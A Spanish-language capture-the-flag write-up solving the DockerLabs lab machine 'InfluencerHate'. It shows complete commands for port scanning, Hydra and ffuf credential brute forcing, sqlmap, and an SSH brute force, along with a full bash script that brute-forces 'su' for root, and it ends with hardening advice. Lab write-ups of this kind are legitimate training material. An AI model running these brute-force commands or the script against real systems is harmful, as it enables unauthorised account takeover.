Ir al contenido

InfluencerHate

Este documento detalla la resolución completa de la máquina InfluencerHate, desarrollada por El Pingüino de Mario para la plataforma DockerLabs y clasificada como fácil.

El objetivo es documentar el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y describiendo las vulnerabilidades presentes.

La metodología se ejecutó en tres fases principales:

  1. Reconocimiento: Identificación de servicios expuestos y descubrimiento de rutas web accesibles.
  2. Explotación: Acceso inicial mediante descubrimiento de credenciales y fuerza bruta.
  3. Escalada de privilegios: Abuso de configuraciones débiles y técnicas de fuerza bruta local contra su.

Todas las acciones fueron realizadas dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreInfluencerHate
AutorEl Pingüino de Mario
DificultadFácil
Fecha28/06/2025
PlataformaDockerLabs

Se descomprime y despliega la máquina:

Ventana de terminal
unzip "InfluencerHate.zip"
sudo bash auto_deploy.sh "InfluencerHate.tar"

El script arroja la IP interna asignada:

IP asignada


Ventana de terminal
mkdir -p InfluencerHate/{content,exploits,nmap,gobuster,scripts}
cd InfluencerHate
Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos visibles:

  • 22/tcp – SSH
  • 80/tcp – HTTP

Puertos abiertos


Al ingresar al servicio HTTP se muestra una página protegida:

first login

Para avanzar se utiliza un ataque con Hydra sobre credenciales por defecto:

Ventana de terminal
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
172.17.0.2 -s 80 http-get /

Resultado:

hydra result

Credenciales obtenidas:

httpadmin : fhttpadmin

Con estas credenciales se realiza un escaneo con Gobuster:

Ventana de terminal
gobuster dir \
-u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200 -U httpadmin -P fhttpadmin

gobuster scan

Rutas relevantes:

  • /login.html
  • /index.html

Ventana de terminal
sqlmap -u "http://172.17.0.2/login.php" --forms --batch --dbs \
--headers="Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4="

sqlmap attack

Aunque se detectó la base de datos users, no contenía información útil.


Se procede con un ataque POST:

Ventana de terminal
ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ \
-u http://172.17.0.2/login.php \
-X POST \
-H "Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4=" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=FUZZ" \
-fw 802 -t 100

ffuf result

Credenciales válidas:

admin : chocolate

Al iniciar sesión aparece un mensaje que revela un nuevo usuario:

pista despues de login

Usuario identificado: balutin


Ventana de terminal
hydra -l balutin -P /usr/share/wordlists/rockyou.txt -f -t 64 ssh://172.17.0.2

Resultado:

hydra2

Acceso SSH:

ssh login


Se transfiere el diccionario:

Ventana de terminal
scp /usr/share/wordlists/rockyou.txt balutin@172.17.0.2:/

Se crea el script:

#!/bin/bash
echo "[*] Iniciando fuerza bruta contra 'su' con rockyou.txt"
echo "[*] Diccionario: rockyou.txt"
echo "[*] Esto puede tomar tiempo..."
echo ""
counter=0
while IFS= read -r password; do
counter=$((counter + 1))
if [ $((counter % 1000)) -eq 0 ]; then
echo "[*] Intentos realizados: $counter"
fi
echo "$password" | timeout 2 su -c 'echo "SUCCESS"' 2>/dev/null | grep -q "SUCCESS"
if [ $? -eq 0 ]; then
echo ""
echo "[+] ¡CONTRASEÑA DE ROOT ENCONTRADA!"
echo "[+] Contraseña: $password"
echo "[+] Intentos realizados: $counter"
exit 0
fi
done < rockyou.txt
echo "[-] Fuerza bruta completada. No se encontró la contraseña."
echo "[-] Total de intentos: $counter"

Resultado del ataque:

bf su attack

Se obtiene acceso root:

root login


  1. Uso de credenciales por defecto en el servidor HTTP.
  2. Ausencia total de mecanismos antibruteforce en el formulario web.
  3. Revelación innecesaria de información sensible (balutin).
  4. Servicio SSH sin protección ante ataques de fuerza bruta.
  5. Contraseña de root extremadamente débil y sin restricciones de uso en su.
  6. Falta de políticas de contraseñas y ausencia de herramientas como Fail2ban.

  1. Eliminar todas las credenciales por defecto en cualquier servicio.

  2. Implementar protección antibruteforce en aplicaciones web (rate-limiting, captchas, lockouts).

  3. Evitar mostrar nombres de usuarios válidos en mensajes del sistema.

  4. Fortalecer SSH:

    • Autenticación por clave
    • Fail2ban
    • Restricción por usuarios permitidos
  5. Implementar políticas estrictas de contraseñas.

  6. Restringir el uso de su a un grupo específico.

  7. Configurar monitoreo activo de logs para detectar ataques.